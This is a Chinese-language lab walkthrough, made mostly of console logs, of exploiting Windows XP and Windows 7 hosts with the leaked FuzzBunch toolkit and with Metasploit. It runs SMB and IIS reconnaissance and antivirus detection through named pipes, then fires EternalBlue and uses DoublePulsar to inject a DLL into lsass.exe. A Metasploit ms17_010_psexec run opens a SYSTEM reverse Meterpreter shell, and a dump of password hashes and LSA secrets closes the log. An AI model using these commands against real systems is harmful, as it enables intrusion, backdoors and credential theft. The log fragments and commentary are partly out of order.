[3005] : [*] XorMask :: XOR Mask for communication [?] XorMask [47] : [*] NetworkTimeout :: Network timeout (in seconds). Use -1 for no timeout. [?] NetworkTimeout [60] : [*] LPFilename :: Full path to LP [?] LPFilename [D:\work\malware\bvp47\fuzzbunch\Resources\Pc\Legac... (plus 16 characters)] : [*] LPEntryName :: LP Entry Function Name [?] LPEntryName [ServiceEntry] : [*] ImplantFilename :: Full path to implant payload [?] ImplantFilename [D:\Logs\fb\z0.0.0.1\Payloads\PC_Level3.dll] : [*] TargetOsArchitecture :: Machine architecture of target. *0) x86 32-bit Intel x86 processor. 1) x64 64-bit AMD x86_64 processor. [?] TargetOsArchitecture [0] : [*] PCBehavior :: PEDDLECHEAP EGG Behavior 0) 7 Re-use Socket (PC EGG behavior is NOT DONE) *1) 8 Re-use Socket and PC EGG behavior [?] PCBehavior [1] : 0 [+] Set PCBehavior => 7 因为第二部就失败了,所以第三步肯定失败。后面通过DoublePlusar上传Beacon成功。 但是FB的基本操作流程就是先生成一个Beacon,然后通过漏洞建立一个通道,最后上传 Beacon,执行建立后门。 plugins 查看一下系统的插件列表。 [!] Preparing to Execute Pcdlllauncher Rendezvous must have a value assigned. [-] Error: Execution Aborted fb Payload (Pcdlllauncher) > show Exploit ImplantConfig ListeningPost Payload Special Touch show Exploit Plugin Category: Exploit ======================== Name Version ---- ------- Easybee 1.0.1 Mdaemon漏洞 Easypi 3.1.0 IBM Lotus漏洞 Eclipsedwing 1.5.2 MS08-067 Educatedscholar 1.0.0 MS09-050 Emeraldthread 3.0.0 MS10-061 Emphasismine 3.4.0 IBM Lotus漏洞 Englishmansdentist 1.2.0 Outlook Exchange漏洞 Erraticgopher 1.0.1 SMB漏洞 Eskimoroll 1.1.1 MS14-068 Esteemaudit 2.1.0 RDP漏洞 Eternalromance 1.4.0 SMBv1漏洞 Eternalsynergy 1.0.1 SMB漏洞 Ewokfrenzy 2.0.0 IBM Lotus漏洞 Explodingcan 2.0.2 IIS漏洞 Zippybeer 1.0.2 AD漏洞 fb > show ImplantConfig Plugin Category: ImplantConfig ============================== Name Version ---- ------- Darkpulsar 1.1.0 后面植入工具 Mofconfig 1.0.0 配置文件投递 fb > show ListeningPost Plugin Category: ListeningPost ============================== Name Version ---- ------- fb > show Payload Plugin Category: Payload ======================== Name Version ---- ------- Doublepulsar 1.3.1 后面投递工具 Jobadd 1.1.1 Windows 计划任务添加 Jobdelete 1.1.1 Windows 计划任务删除 Joblist 1.1.1 Windows 计划任务列表 Pcdlllauncher 2.3.1 DllLoader Processlist 1.1.1 进程列表ps Regdelete 1.1.1 Windows 注册表删除 Regenum 1.1.1 Windows 注册表枚举 Regread 1.1.1 Windows 注册表添加 Regwrite 1.1.1 Windows 注册表写入 Rpcproxy 1.0.1 远程调用代理 Smbdelete 1.1.1 删除共享文件 Smblist 1.1.1 显示共享文件 Smbread 1.1.1 读取共享文件 Smbwrite 1.1.1 写入共享文件 fb > show Special Plugin Category: Special ======================== Name Version ---- ------- Eternalblue 2.2.0 永恒之蓝 Eternalchampion 2.0.0 SMB漏洞利用工具集 fb > show Touch Plugin Category: Touch ====================== 下面执行几个的插件。 touch touch是漏扫插件,用于确定目标机的特定特性是否存在。 Iistouch检查IIS的特性。 Name Version ---- ------- Architouch 1.0.0 目标扫描 Domaintouch 1.1.1 AD扫描 Eclipsedwingtouch 1.0.4 Eclipsedwing扫描 Educatedscholartouch 1.0.0 Educatedscholar扫描 Emeraldthreadtouch 1.0.0 Emeraldthread扫描 Erraticgophertouch 1.0.1 Erraticgopher扫描 Esteemaudittouch 2.1.0 Esteemaudit扫描 Explodingcantouch 1.2.1 Explodingcan扫描 Iistouch 1.2.2 iis漏洞扫描 Namedpipetouch 2.0.0 命令管道扫描 Printjobdelete 1.0.0 打印任务删除 Printjoblist 1.0.0 打印任务显示 Rpctouch 2.1.0 RPC扫描 Smbtouch 1.1.1 smb漏洞扫描 Webadmintouch 1.0.1 Webadmin扫描 Worldclienttouch 1.0.1 Worldclient扫描 use Iistouch [!] Entering Plugin Context :: Iistouch [*] Applying Global Variables [+] Set TargetIp => 172.19.2.16 [+] Set NetworkTimeout => 60 fb Touch (Iistouch) > fb Touch (Iistouch) > ex execute export exit fb Touch (Iistouch) > execute [!] Preparing to Execute Iistouch [*] Redirection OFF [+] Configure Plugin Local Tunnels [+] Local Tunnel - local-tunnel-1 [?] Destination IP [172.19.2.16] : [?] Destination Port [80] : [+] (TCP) Local 172.19.2.16:80 [+] Configure Plugin Remote Tunnels Module: Iistouch ================ Name Value ---- ----- TargetIp 172.19.2.16 TargetPort 80 NetworkTimeout 60 EnableSSL False hostString localhost [?] Execute Plugin? [Yes] : [*] Executing Plugin [*] Initializing Parameters [*] Gathering Parameters [+] Sending HTTP Options Request [+] Initializing network [+] Creating Launch Socket [+] Target is 172.19.2.16:80 [+] Sending HTTP Head Request [+] Initializing network [+] Creating Launch Socket [+] Target is 172.19.2.16:80 [*] Finding IIS Version [+] Checking server response for IIS version [+] Found IIS version 5.1 [+] Windows XP [*] Detecting WEBDAV [+] Checking server response for Webdav [+] SEARCH Option found. Webdav is enabled. [+] PROPFIND Option found. Webdav is enabled. [*] Finding Language [+] Initializing network [+] Creating Launch Socket [+] Target is 172.19.2.16:80 [+] Charset match: gb2312 [+] Checking Language: SCHINESE Server Response Title (10 bytes): 0x00000000 d5 d2 b2 bb b5 bd cd f8 d2 b3 .......... Expected Title (10 bytes): 0x00000000 d5 d2 b2 bb b5 bd cd f8 d2 b3 .......... [+] Language found : SCHINESE [*] Writing Contract [+] IIS Version: 5.1 touch类插件类似于nmap的插件,扫描特定内容。 [+] IIS Target OS: WINXP [+] Target Language: SCHINESE [+] Target Service Pack: Unknown [+] Target Path: / [+] Enable SSL: FALSE [+] WebDAV is ENABLED [*] IIS Touch Complete [+] Iistouch Succeeded use Smbtouch [!] Entering Plugin Context :: Smbtouch [*] Applying Global Variables [+] Set NetworkTimeout => 60 [+] Set TargetIp => 172.19.2.16 fb Touch (Smbtouch) > apply reset back eof mark retarget show use execute set banner exit python script sleep export touch changeprompt help quit session standardop prompt validate echo history redirect setg toolpaste rendezvous autorun enter info resizeconsole shell unsetg fb Touch (Smbtouch) > execute [!] Preparing to Execute Smbtouch [*] Redirection OFF [+] Configure Plugin Local Tunnels [+] Configure Plugin Remote Tunnels Module: Smbtouch ================ Name Value ---- ----- NetworkTimeout 60 TargetIp 172.19.2.16 TargetPort 445 RedirectedTargetIp RedirectedTargetPort UsingNbt False Pipe Share Protocol SMB Credentials Anonymous [?] Execute Plugin? [Yes] : [*] Executing Plugin [+] SMB Touch started [*] TargetIp 172.19.2.16 [*] TargetPort 445 [*] RedirectedTargetIp (null) [*] RedirectedTargetPort 0 [*] NetworkTimeout 60 [*] Protocol SMB [*] Credentials Anonymous [*] Connecting to target... [+] Initiated SMB connection [+] Target OS Version 5.1 build 2600 Windows 5.1 [!] Target could be either SP2 or SP3, [!] for these SMB exploits they are equivalent [*] Trying pipes... [+] spoolss - Success! [+] Target is 32-bit [Not Supported] ETERNALSYNERGY - Target OS version not supported [Vulnerable] ETERNALBLUE - DANE ETERNALROMANCE - FB ETERNALCHAMPION - DANE/FB [*] Writing output parameters [+] Target is vulnerable to 3 exploits [+] Touch completed successfully [+] Smbtouch Succeeded smbtouch更加明显的展示了扫描结果,这里出现了ETERNALBLUE,也就是,内部的扫描会根 据内部的Exploit的信息进行检查。 use Namedpipetouch [!] Entering Plugin Context :: Namedpipetouch [*] Applying Global Variables [+] Set NetworkTimeout => 60 [+] Set TargetIp => 172.19.2.16 fb Touch (Namedpipetouch) > set Module: Namedpipetouch ====================== Name Value ---- ----- NetworkTimeout 60 TargetIp 172.19.2.16 TargetPort 445 Protocol SMB fb Touch (Namedpipetouch) > execute [!] Preparing to Execute Namedpipetouch [*] Redirection OFF [+] Configure Plugin Local Tunnels [+] Local Tunnel - local-tunnel-1 [?] Destination IP [172.19.2.16] : [?] Destination Port [445] : [+] (TCP) Local 172.19.2.16:445 [+] Configure Plugin Remote Tunnels Module: Namedpipetouch ====================== Name Value ---- ----- NetworkTimeout 60 TargetIp 172.19.2.16 TargetPort 445 UsingNbt False PipeList ['\PIPE\browser', '\PIPE\lsarpc', '\PIPE\spoolss', '\PIPE\360OnAccessGet', '\PIPE\360OnAccessSet', ' \PIPE\aswUpdSv', '\PIPE\afwCallbackPipe2', '\PIPE\ afwCallbackPipe2', '\PIPE\aswUpdSv', '\PIPE\_pspus er_780_AVGIDSMONITOR.EXE_9d97da47-8de1-4699-b3da-9 eafb262f2a4', '\PIPE\AVG7B14C58C-E30D-11DB-B553-F8 ... (plus 47 more lines) DescList ['OS Pipe: computer browser', 'OS Pipe: lsass rpc' , 'OS Pipe: print spooler', '360 Safe', '360 Safe' , 'alwil Avast professional 4.8 Avast Internet Sec urity v5.0', 'Avast Internet Security 5.0', 'Avast Internet Security 5.0', 'Avast pro 4.8 or Avast I S v5.0', 'AVG IS 8.5', 'AVG IS 8.5', 'AVG IS 8.5', ... (plus 35 more lines) Protocol SMB [?] Execute Plugin? [Yes] : [*] Executing Plugin [+] Initializing Connection... [+] Connection established. [+] Testing 86 pipes [+] Testing for OS Pipe: computer browser [+] Pipe Found: \PIPE\browser [+] Testing for OS Pipe: lsass rpc [+] Pipe Found: \PIPE\lsarpc [+] Testing for OS Pipe: print spooler [+] Pipe Found: \PIPE\spoolss [+] Testing for 360 Safe.. [+] Testing for alwil Avast professional 4.8 Avast Internet Security v5.0. [+] Testing for Avast Internet Security 5.0.. [+] Testing for Avast pro 4.8 or Avast IS v5.0. [+] Testing for AVG IS 8.5....... [+] Testing for AVG IS 8.5-9.0. [+] Testing for AVG IS 9.0.646............ [+] Testing for avira antivirus personal edition premium v7.06, avira premium security suite v7. [+] Testing for avira premium sec suite v8....... [+] Testing for Avira premium security suite v8. [+] Testing for BitDefender 2010 v13. [+] Testing for BitDefender TotalSec 2010 v13.0.11... [+] Testing for BitDefender TotalSec 2010 v13.0.11 Bit Defender Total Security 2009... [+] Testing for FSecure 2010........................... [+] Testing for McAfee 8.7i.. Namedpipetouch检查系统的防病毒程序,常见的都有,但是缺少卡巴斯基。 special 专用工具,包含大名鼎鼎的永恒之蓝,也就是ms17010。 [+] Testing for Norton Internet Security 2010. [+] Testing for Norton IS 2008. [+] Testing for Norton360 v4; Norton IS 2009; Norton IS 2010; Norton 360 v4. [+] Testing for Norton360 v4. [+] Testing for Outpost Security Suite Pro 2009 v6.5. [+] Testing for Panda IS 2010 v15.... [+] Testing for Sophos 9.0. [+] Testing for TrendMicro IS 2010 v17.50. [+] Testing for VMWare Host. [*] Summary: 3 pipes found OS Pipe: computer browser - \PIPE\browser OS Pipe: lsass rpc - \PIPE\lsarpc OS Pipe: print spooler - \PIPE\spoolss [+] Namedpipetouch Succeeded use Eternalblue [!] Entering Plugin Context :: Eternalblue [*] Applying Global Variables [+] Set NetworkTimeout => 60 [+] Set TargetIp => 172.19.2.16 [*] Applying Session Parameters [*] Running Exploit Touches [!] Enter Prompt Mode :: Eternalblue Module: Eternalblue =================== Name Value ---- ----- NetworkTimeout 60 TargetIp 172.19.2.16 TargetPort 445 VerifyTarget True VerifyBackdoor True MaxExploitAttempts 3 GroomAllocations 12 Target XP [!] plugin variables are valid [?] Prompt For Variable Settings? [Yes] : [*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout. [?] NetworkTimeout [60] : [*] TargetIp :: Target IP Address [?] TargetIp [172.19.2.16] : [*] TargetPort :: Port used by the SMB service for exploit connection [?] TargetPort [445] : [*] VerifyTarget :: Validate the SMB string from target against the target selected before exploitation. [?] VerifyTarget [True] : no [-] Error: Invalid value [*] VerifyTarget :: Validate the SMB string from target against the target selected before exploitation. [?] VerifyTarget [True] : [*] VerifyBackdoor :: Validate the presence of the DOUBLE PULSAR backdoor before throwing. This option must be enabled for multiple exploit attempts. [?] VerifyBackdoor [True] : n [-] Error: Invalid value [*] VerifyBackdoor :: Validate the presence of the DOUBLE PULSAR backdoor before throwing. This option must be enabled for multiple exploit attempts. [?] VerifyBackdoor [True] : false [+] Set VerifyBackdoor => false [*] MaxExploitAttempts :: Number of times to attempt the exploit and groom. Disabled for XP/2K3. [?] MaxExploitAttempts [3] : [*] GroomAllocations :: Number of large SMBv2 buffers (Vista+) or SessionSetup allocations (XK/2K3) to do. [?] GroomAllocations [12] : [*] Target :: Operating System, Service Pack, and Architecture of target OS *0) XP Windows XP 32-Bit All Service Packs 1) WIN72K8R2 Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs [?] Target [0] : [!] Preparing to Execute Eternalblue [*] Mode :: Delivery mechanism *0) DANE Forward deployment via DARINGNEOPHYTE 1) FB Traditional deployment from within FUZZBUNCH [?] Mode [0] : 1 [+] Run Mode: FB [?] This will execute locally like traditional Fuzzbunch plugins. Are you sure? (y/n) [Yes] : [*] Redirection OFF [+] Configure Plugin Local Tunnels [+] Local Tunnel - local-tunnel-1 [?] Destination IP [172.19.2.16] : [?] Destination Port [445] : [+] (TCP) Local 172.19.2.16:445 [+] Configure Plugin Remote Tunnels Module: Eternalblue =================== Name Value ---- ----- DaveProxyPort 0 NetworkTimeout 60 TargetIp 172.19.2.16 TargetPort 445 VerifyTarget True VerifyBackdoor False MaxExploitAttempts 3 GroomAllocations 12 ShellcodeBuffer Target XP [?] Execute Plugin? [Yes] : [*] Executing Plugin [*] Connecting to target for exploitation. [+] Connection established for exploitation. [*] Forcing MaxExploitAttempts to 1. [*] Target OS selected valid for OS indicated by SMB reply [*] CORE raw buffer dump (12 bytes): 0x00000000 57 69 6e 64 6f 77 73 20 35 2e 31 00 Windows 5.1. [*] Fingerprinting SMB non-paged pool quota [+] Allocation total: 0xfff4 [+] Spray size: 0 [+] Allocation total: 0x1ffe8 [+] Spray size: 1 [+] Allocation total: 0x2ffdc [+] Spray size: 2 [+] Allocation total: 0x3ffd0 [+] Spray size: 3 [+] Allocation total: 0x4ffc4 [+] Spray size: 4 [+] Allocation total: 0x5ffb8 [+] Spray size: 5 [+] Allocation total: 0x6ffac [+] Spray size: 6 [+] Allocation total: 0x7ffa0 [+] Spray size: 7 [+] Allocation total: 0x8ff94 [+] Spray size: 8 [+] Allocation total: 0x9ff88 [+] Spray size: 9 [+] Allocation total: 0xaff7c [+] Spray size: 10 [+] Allocation total: 0xbff70 [+] Spray size: 11 [+] Quota NOT exceeded after 12 packets [+] Allocation total: 0xbff70 [*] Building exploit buffer [*] Sending all but last fragment of exploit packet ................DONE. [*] Sending SMB Echo request [*] Good reply from SMB Echo request [*] Starting non-paged pool grooming [+] Sending 2 non-paged pool fragment packets ....DONE. [+] Sent 2 non-paged pool fragment packets ofsize 0x00006FF9 [+] Sending 10 non-paged pool grooming packets ......DONE. [+] Sent 10 non-paged pool grooming packets - groom complete [*] Sending SMB Echo request [*] Good reply from SMB Echo request [*] Sending last fragment of exploit packet! DONE. [*] Receiving response from exploit packet [+] ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] Triggering free of corrupted buffer. [*] CORE sent serialized output blob (2 bytes): 0x00000000 08 00 .. [*] Received output parameters from CORE [+] CORE terminated with status code 0x00000000 [+] Eternalblue Succeeded fb Special (Eternalblue) > use Doublepulsar [!] Entering Plugin Context :: Doublepulsar [*] Applying Global Variables [+] Set NetworkTimeout => 60 [+] Set TargetIp => 172.19.2.16 [*] Applying Session Parameters [!] Enter Prompt Mode :: Doublepulsar Module: Doublepulsar ==================== Name Value ---- ----- NetworkTimeout 60 TargetIp 172.19.2.16 TargetPort 445 OutputFile Protocol SMB Architecture x86 Function OutputInstall [!] Plugin Variables are NOT Valid [?] Prompt For Variable Settings? [Yes] : [*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout. [?] NetworkTimeout [60] : [*] TargetIp :: Target IP Address [?] TargetIp [172.19.2.16] : [*] TargetPort :: Port used by the Double Pulsar back door [?] TargetPort [445] : [*] Protocol :: Protocol for the backdoor to speak *0) SMB Ring 0 SMB (TCP 445) backdoor 1) RDP Ring 0 RDP (TCP 3389) backdoor [?] Protocol [0] : [*] Architecture :: Architecture of the target OS *0) x86 x86 32-bits 1) x64 x64 64-bits [?] Architecture [0] : [*] Function :: Operation for backdoor to perform *0) OutputInstall Only output the install shellcode to a binary file on disk. 1) Ping Test for presence of backdoor 2) RunDLL Use an APC to inject a DLL into a user mode process. 3) RunShellcode Run raw shellcode 4) Uninstall Remove's backdoor from system [?] Function [0] : [*] OutputFile :: Full path to the output file [?] OutputFile [] : outfile [+] Set OutputFile => outfile [!] Preparing to Execute Doublepulsar [*] Redirection OFF [+] Configure Plugin Local Tunnels [+] Local Tunnel - local-tunnel-1 [?] Destination IP [172.19.2.16] : [?] Destination Port [445] : [+] (TCP) Local 172.19.2.16:445 [+] Configure Plugin Remote Tunnels Module: Doublepulsar ==================== Name Value ---- ----- NetworkTimeout 60 TargetIp 172.19.2.16 TargetPort 445 OutputFile outfile Protocol SMB Architecture x86 Function OutputInstall [?] Execute Plugin? [Yes] : [*] Executing Plugin [+] Selected Protocol SMB [+] Writing Installer to disk [*] Deleting old version of OutputFile if it exists [*] Shellcode written to OutputFile [+] Doublepulsar Succeeded fb > use Doublepulsar [!] Entering Plugin Context :: Doublepulsar [*] Applying Global Variables [+] Set NetworkTimeout => 60 [+] Set TargetIp => 172.19.2.16 [*] Applying Session Parameters [*] Function :: Deconflict Index Session ID Value ----- ---------- ----- 0 Doublepulsar - 11 1 Doublepulsar - 15 2 Doublepulsar - 16 3 Current Value RunDLL [?] Function [0] : 3 [+] Using current val for Function [!] Enter Prompt Mode :: Doublepulsar Module: Doublepulsar ==================== Name Value ---- ----- NetworkTimeout 60 TargetIp 172.19.2.16 执行成功,但在执行Doublepulsar失败,根据网上资料,应该是Windows 10的SMB修改太多, 导致失败,使用Windows 7应该可以,因为PC_Level3.dll使用手工执行可以成功。 这样就会回连服务器。 安装一个Win7,然后执行。 TargetPort 445 DllPayload D:\Logs\fb\z0.0.0.1\Payloads\PC_Level3.dll DllOrdinal 1 ProcessName lsass.exe ProcessCommandLine Protocol SMB Architecture x86 Function RunDLL [!] plugin variables are valid [?] Prompt For Variable Settings? [Yes] : [?] Execute Plugin? [Yes] : [*] Executing Plugin [+] Selected Protocol SMB [.] Connecting to target... [+] Connected to target, pinging backdoor... [-] Packet MID is zero, backdoor not present [!] Plugin failed [-] Error: Doublepulsar Failed rundll32 PC_Level3.dll,rst32 use Doublepulsar [!] Entering Plugin Context :: Doublepulsar [*] Applying Global Variables [+] Set NetworkTimeout => 60 [+] Set TargetIp => 172.19.2.16 [*] Applying Session Parameters [!] Enter Prompt Mode :: Doublepulsar Module: Doublepulsar ==================== Name Value ---- ----- NetworkTimeout 60 TargetIp 172.19.2.16 TargetPort 445 OutputFile Protocol SMB Architecture x86 Function OutputInstall [!] Plugin Variables are NOT Valid [?] Prompt For Variable Settings? [Yes] : [*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout. [?] NetworkTimeout [60] : [*] TargetIp :: Target IP Address [?] TargetIp [172.19.2.16] : 172.19.2.17 [+] Set TargetIp => 172.19.2.17 [*] TargetPort :: Port used by the Double Pulsar back door [?] TargetPort [445] : [*] Protocol :: Protocol for the backdoor to speak *0) SMB Ring 0 SMB (TCP 445) backdoor 1) RDP Ring 0 RDP (TCP 3389) backdoor [?] Protocol [0] : [*] Architecture :: Architecture of the target OS *0) x86 x86 32-bits 1) x64 x64 64-bits [?] Architecture [0] : [*] Function :: Operation for backdoor to perform *0) OutputInstall Only output the install shellcode to a binary file on disk. 1) Ping Test for presence of backdoor 2) RunDLL Use an APC to inject a DLL into a user mode process. 3) RunShellcode Run raw shellcode 4) Uninstall Remove's backdoor from system [?] Function [0] : 2 [+] Set Function => RunDLL [*] DllPayload :: DLL to inject into user mode [?] DllPayload [] : D:\Logs\fb\z0.0.0.1\Payloads\PC_Level3.dll [+] Set DllPayload => D:\Logs\fb\z0.0.0.1\Payloads\PC_Level3.dll [*] DllOrdinal :: The exported ordinal number of the DLL being injected to call [?] DllOrdinal [1] : [*] ProcessName :: Name of process to inject into [?] ProcessName [lsass.exe] : [*] ProcessCommandLine :: Command line of process to inject into [?] ProcessCommandLine [] : [!] Preparing to Execute Doublepulsar [*] Redirection OFF [+] Configure Plugin Local Tunnels [+] Local Tunnel - local-tunnel-1 [?] Destination IP [172.19.2.17] : [?] Destination Port [445] : [+] (TCP) Local 172.19.2.17:445 [+] Configure Plugin Remote Tunnels Module: Doublepulsar ==================== Name Value ---- ----- NetworkTimeout 60 TargetIp 172.19.2.17 TargetPort 445 DllPayload D:\Logs\fb\z0.0.0.1\Payloads\PC_Level3.dll DllOrdinal 1 ProcessName lsass.exe ProcessCommandLine Protocol SMB Architecture x86 Function RunDLL 执行成功,等几秒,就会反向连接DSz的PeddleCheap。 在网上有完整的DoublePulsar利用过程。如EternalPulsar A practical example of a made up name | HackerNoon 文章利用MSF,生成Payload,然后启动监听程序;接着利用fb里面的Eternblue, DoublePulsar,将Payload上传到目标机,并执行,就会反向连接到MSF。 这个利用方式跟MSF的利用有点差距,MSF可以直接利用ms17010。 [?] Execute Plugin? [Yes] : [*] Executing Plugin [+] Selected Protocol SMB [.] Connecting to target... [+] Connected to target, pinging backdoor... [+] Backdoor returned code: 10 - Success! [+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0xF2A3472D SMB Connection string is: Windows 7 Professional 7600 Target OS is: 7 x86 Target SP is: 0 [+] Backdoor installed [+] DLL built [.] Sending shellcode to inject DLL [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Command completed successfully [+] Doublepulsar Succeeded 可以看出msf更加利落干净。 Eternalchampion执行失败。需要进一步研究。 经过在网络搜索,发现msf中已经把这几个smb协议漏洞的利用整合到msf中了,搜索可以得 到。下面我们我们执行一下。 msfconsole use exploit/windows/smb/ms17_010_psexec set lhost 172.19.2.20 set RHOSTS 172.19.2.16 run [msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_psexec) >> run [*] Started reverse TCP handler on 172.19.2.20:4444 [*] 172.19.2.16:445 - Target OS: Windows 5.1 [*] 172.19.2.16:445 - Filling barrel with fish... done [*] 172.19.2.16:445 - <---------------- | Entering Danger Zone | ------------ ----> [*] 172.19.2.16:445 - [*] Preparing dynamite... [*] 172.19.2.16:445 - [*] Trying stick 1 (x86)...Boom! [*] 172.19.2.16:445 - [+] Successfully Leaked Transaction! [*] 172.19.2.16:445 - [+] Successfully caught Fish-in-a-barrel [*] 172.19.2.16:445 - <---------------- | Leaving Danger Zone | ------------- ---> [*] 172.19.2.16:445 - Reading from CONNECTION struct at: 0x80e2f880 [*] 172.19.2.16:445 - Built a write-what-where primitive... [+] 172.19.2.16:445 - Overwrite complete... SYSTEM session obtained! [*] 172.19.2.16:445 - Selecting native target [*] 172.19.2.16:445 - Uploading payload... TsulsFkS.exe [*] 172.19.2.16:445 - Created \TsulsFkS.exe... [+] 172.19.2.16:445 - Service started successfully... [*] 172.19.2.16:445 - Deleting \TsulsFkS.exe... [*] Sending stage (175174 bytes) to 172.19.2.16 [*] Meterpreter session 1 opened (172.19.2.20:4444 -> 172.19.2.16:1091 ) at 2022-04-09 21:56:53 -0400 (Meterpreter 1)(C:\WINDOWS\system32) > getuid Server username: NT AUTHORITY\SYSTEM earch ms17-010 Matching Modules ================ 因为前面已经测试了ms17_010_psexec,所以后面只测试ms17_010_eternalblue和 smb_doublepulsar_rce,看看msf的理解。访问MS17010 EternalSynergy / EternalRomance / EternalChampion aux+exploit modules · Pull Request #9473 · rapid7/metasploit- framework (github.com) 这个提交记录说明具体的利用情况。 Payload 这些工具往往需要一个Ticket,但是木有找到获取Ticket的方法。 倒是可以利用mimikatz来获取Ticket。然后使用这里的Payload。 这里的工具一类是直接下发负载,一类是提权工具。 下面利用DSz的工具进行hashdump,然后利用token进行ptt等NT凭据利用操作。 # Name Disclosure Date Rank Check Description - ---- --------------- ---- --- -- ----------- 0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection 4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce passworddump [03:30:10] ID: 542 'passworddump' started [target: z0.0.0.11] User : Administrator Rid : 500 Expired : false Exception : false Lanman Hash : daa141f3639de015aad3b435b51404ee Nt Hash : ad70819c5bc807280974d80f45982011 ------------------------------------------------------------------------ User : ASPNET Rid : 1006 Expired : false Exception : false Lanman Hash : 28f84b2ddea413b7530046f0289088af Nt Hash : fc4dcca97e3b926301f804e94dcd4338 ------------------------------------------------------------------------ User : Guest Rid : 501 Expired : false Exception : false Lanman Hash : aad3b435b51404eeaad3b435b51404ee (Empty string) Nt Hash : 31d6cfe0d16ae931b73c59d7e0c089c0 (Empty string) ------------------------------------------------------------------------ User : IUSR_REDTEAM-52B93E3 Rid : 1003 Expired : false Exception : false Lanman Hash : 57d1eb3bd0c15cd00f2ffe835ddbaaf7 Nt Hash : f395d07949f5cf1fe5bc05b26c3a171d ------------------------------------------------------------------------ User : IWAM_REDTEAM-52B93E3 Rid : 1004 Expired : false Exception : false Lanman Hash : 6fd8ec0ee1ed2ffac2a89a4f770fa067 Nt Hash : 423d015c82d4bda2a9760154013fac1f ------------------------------------------------------------------------ User : SUPPORT_388945a0 Rid : 1001 Expired : false Exception : false Lanman Hash : aad3b435b51404eeaad3b435b51404ee (Empty string) Nt Hash : 672ecd041d7d16bd38c1f732ce377091 ------------------------------------------------------------------------ Secret : aspnet_WP_PASSWORD Value : 61 00 71 00 36 00 25 00 55 00 40 00 24 00 57 00 | a . q . 6 . % . U . @ . $ . W . 72 00 33 00 32 00 50 00 5c 00 65 00 | r . 3 . 2 . P . \ . e . ------------------------------------------------------------------------ Secret : D6318AF1-462A-48C7-B6D9-ABB7CCD7975E-SRV Value : c3 d5 7e 9f a3 d0 04 46 9a a3 15 1e 47 e9 df a2 | . . ~ . . . . F . . . . G . . . ------------------------------------------------------------------------ Secret : DPAPI_SYSTEM Value : 01 00 00 00 82 85 f5 9c 6d ea 1b 52 42 f1 7e b1 | . . . . . . . . m . . R B . ~ . 61 44 d0 14 c1 ef 49 bc a5 ba e8 7c 5b 78 c6 35 | a D . . . . I . . . . | [ x . 5 82 a1 79 09 94 e0 ab ed cc f8 4c 55 | . . y . . . . . . . L U ------------------------------------------------------------------------ Secret : L$HYDRAENCKEY_28ada6da-d622-11d1-9cb9-00c04fb16e75 Value : 52 53 41 32 48 00 00 00 00 02 00 00 3f 00 00 00 | R S A 2 H . . . . . . . ? . . . 01 00 01 00 8d 65 0f f6 71 05 bb 9e 28 93 52 b4 | . . . . . e . . q . . . ( . R . c6 93 54 f1 2f 60 31 d0 13 f9 1c 49 53 b0 2c 46 | . . T . / ` 1 . . . . I S . , F 45 ef 61 99 18 36 07 a2 8d 43 e5 04 8a bb 56 1a | E . a . . 6 . . . C . . . . V . c1 a7 f4 18 a7 84 04 0d 7c 00 45 d8 85 28 90 02 | . . . . . . . . | . E . . ( . . da 26 d2 ba 00 00 00 00 00 00 00 00 0b 52 9d 71 | . & . . . . . . . . . . . R . q f7 aa 22 dd 9b 41 08 c7 e5 df 4f 7e f0 e6 2d 91 | . . " . . A . . . . O ~ . . - . 32 8b da 25 1e 87 7a 27 e4 70 69 dc 00 00 00 00 | 2 . . % . . z ' . p i . . . . . c7 3d a8 93 84 a2 66 4e a8 e0 9c 58 53 e1 63 42 | . = . . . . f N . . . X S . c B 9c f7 11 98 ba e5 c2 11 be 88 52 15 d1 40 fc d8 | . . . . . . . . . . R . . @ . . 00 00 00 00 f5 61 59 51 f4 eb bb 3f 90 db e4 ea | . . . . . a Y Q . . . ? . . . . 5c e4 66 8c 28 98 db 21 61 53 aa c1 dd d5 03 4d | \ . f . ( . . ! a S . . . . . M 8c 78 6a b8 00 00 00 00 8b 9c 03 de 42 d9 5a 07 | . x j . . . . . . . . . B . Z . bf 8e 4c 70 33 54 c3 3a cf cf b5 b8 8e a2 b2 6f | . . L p 3 T . : . . . . . . . o cb e5 e0 3b bd 8c e4 d7 00 00 00 00 95 de fd c1 | . . . ; . . . . . . . . . . . . a9 dd 38 32 c9 e6 a1 40 3c c9 d7 17 63 0a ee 42 | . . 8 2 . . . @ < . . . c . . B 3e 30 58 b5 6d 68 58 1c bb 4d 5c 9b 00 00 00 00 | > 0 X . m h X . . M \ . . . . . 81 fa b9 9a e5 51 26 1f ab 4e 47 bd 